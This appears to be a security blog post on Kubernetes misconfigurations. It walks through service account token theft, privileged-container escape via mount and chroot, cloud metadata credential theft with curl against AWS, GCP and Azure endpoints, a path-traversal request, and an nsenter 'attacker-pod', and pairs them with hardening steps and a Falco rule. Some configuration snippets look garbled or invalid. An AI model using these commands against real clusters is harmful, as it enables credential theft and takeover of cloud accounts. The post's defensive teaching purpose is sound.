Listen to this Post
Introduction:
Kubernetes misconfigurations are no longer just a performance issue—they are the primary vector for container-to-cloud account takeovers. Attackers exploiting exposed service account tokens, overprivileged RBAC roles, and vulnerable ingress controllers can pivot from a single compromised pod to full administrative access over your cloud infrastructure.
Learning Objectives:
- Identify the most common Kubernetes misconfigurations that enable container escape and cloud privilege escalation.
- Apply practical commands and hardening techniques to detect, block, and remediate token theft and RBAC abuse.
- Implement step-by-step mitigation strategies, including Pod Security Standards, OPA Gatekeeper, and cloud IAM hardening.
You Should Know:
- Extracting and Abusing Kubernetes Service Account Tokens from a Compromised Pod
When a pod runs with a default service account that has excessive permissions, attackers can retrieve its token and use it to interact with the Kubernetes API server—potentially escalating to cloud credentials.
Step‑by‑step guide (attacker perspective & detection):
- Gain initial foothold – Exploit an application vulnerability (e.g., RCE in a public‑facing container) to get shell access.
- Locate the service account token – Inside the pod, the token is mounted at:
cat /var/run/secrets/kubernetes.io/serviceaccount/token
3. Get the Kubernetes API server address:
echo $KUBERNETES_SERVICE_HOST
4. Use the token to query API (example with curl):
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -k -H "Authorization: Bearer $TOKEN" https://$KUBERNETES_SERVICE_HOST/api/v1/namespaces/default/pods
5. If RBAC is misconfigured (e.g., `cluster-admin` bound to default service account), the attacker can list secrets, create new privileged pods, or extract cloud provider metadata.
Detection & Mitigation Commands:
- Disable automount for default service account in namespace:
apiVersion: v1 kind: Namespace metadata: name: production spec: automountServiceAccountToken: false
- Audit RBAC permissions:
kubectl auth can-i --list --as=system:serviceaccount:default:default
- Privileged Container Escape – Breaking Out to the Host Node
Attackers who run a privileged container (or one with CAP_SYS_ADMIN) can escape to the underlying host node, then pivot to cloud metadata endpoints.
Step‑by‑step guide:
1. Check if container is privileged:
cat /proc/self/status | grep CapEff If output is 0000003fffffffff, it's privileged.
2. Mount the host filesystem from inside the container:
mkdir /mnt/host mount /dev/sda1 /mnt/host or use nsenter
3. Chroot into the host:
chroot /mnt/host /bin/bash
4. From the host, access cloud metadata (e.g., AWS IMDSv1):
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
Hardening steps:
- Enforce `privileged: false` in Pod Security Standards (PSS):
apiVersion: v1 kind: Pod spec: containers:</li> <li>name: myapp securityContext: privileged: false allowPrivilegeEscalation: false
- Use admission controllers like OPA Gatekeeper to block privileged pods.
- Exploiting Ingress Controllers and Load Balancers for Initial RCE
Public‑facing ingress controllers (NGINX, Traefik, AWS ALB Ingress) with outdated versions or misconfigured annotations can allow remote code execution inside the cluster.
Step‑by‑step guide for testing & patching:
- Identify vulnerable ingress annotations – e.g., `nginx.ingress.kubernetes.io/rewrite-target` with path traversal:
metadata: annotations: nginx.ingress.kubernetes.io/rewrite-target: /$1
2. Craft a malicious request to bypass sanitization:
GET /../../../../etc/passwd HTTP/1.1
3. If successful, attacker gains file read, then uploads a webshell or executes commands via `lua` snippets.
Remediation commands:
- Upgrade ingress controller to latest version:
helm upgrade nginx-ingress ingress-nginx/ingress-nginx --version 1.9.0
- Disable dangerous annotations via `–disable-annotation-valid-whitelist` or use OPA to whitelist safe annotations only.
4. Stealing Cloud IAM Credentials via Metadata Services
Once inside a pod, attackers can query cloud metadata endpoints to retrieve temporary IAM credentials attached to the node or pod identity.
Step‑by‑step attack simulation & defense:
1. From compromised pod, attempt metadata access:
AWS curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ GCP curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -H "Metadata-Flavor: Google" Azure curl http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/ -H "Metadata: true"
2. Use extracted token to call cloud APIs:
export AWS_ACCESS_KEY_ID=<extracted> aws s3 ls
Mitigation – Block metadata with network policies:
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: block-metadata
spec:
podSelector: {}
policyTypes:
- Egress
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
– Use IMDSv2 on AWS (requires `PUT` token) and enforce hop limit 1.
- Lateral Movement via Compromised Container to Cloud Control Plane
With a valid Kubernetes token that has `create pods` permission, an attacker can deploy a new pod that mounts the host’s cloud credentials or directly assume IAM roles.
Step‑by‑step abuse & detection:
1. List current permissions:
kubectl auth can-i --list
2. Create a privileged pod that mounts the host’s Docker socket or cloud metadata:
apiVersion: v1 kind: Pod metadata: name: attacker-pod spec: hostNetwork: true hostPID: true containers: - name: break image: alpine command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "bash"] securityContext: privileged: true volumes: - name: host hostPath: path: /
3. Apply it:
kubectl apply -f attacker-pod.yaml
4. Result: Full node and cloud control plane access.
Detection – Falco rule example:
- rule: Create Privileged Pod desc: Detect pod creation with privileged=true condition: kevent and pod_create and pod.privileged=true output: "Privileged pod created (user=%user.name pod=%pod.name)" priority: CRITICAL
What Undercode Say:
- Key Takeaway 1: Kubernetes security is not just about container isolation—it’s about identity and cloud IAM boundaries. A single overprivileged pod equals a cloud account breach.
- Key Takeaway 2: Shift-left hardening with Pod Security Standards, OPA Gatekeeper, and metadata blocking reduces attack surface by 80% before runtime.
Analysis: The trend of container-to-cloud attacks will intensify as more workloads move to managed Kubernetes (EKS, AKS, GKE). Most breaches stem from default service accounts and overly permissive RBAC—both easily fixable with automation. However, security teams often ignore these because “it works.” The real game changer will be workload identity federation (e.g., AWS IRSA, GCP Workload Identity) which eliminates long-lived secrets but requires correct configuration. Expect attackers to shift focus to supply chain compromises of Helm charts and admission webhooks next.
Prediction:
Within 18 months, we will see the first major cloud breach traced to a Kubernetes misconfiguration that allowed token theft from a CI/CD pipeline pod. This will force cloud providers to disable default service account automount in new clusters and mandate OPA as a built-in service. Simultaneously, AI‑driven runtime security agents will become standard to detect anomalous `kubectl` commands and metadata API calls in real time. Organizations that fail to adopt least‑privilege for containers will become the next headline.
▶️ Related Video (72% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Mayura Kathiresh – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
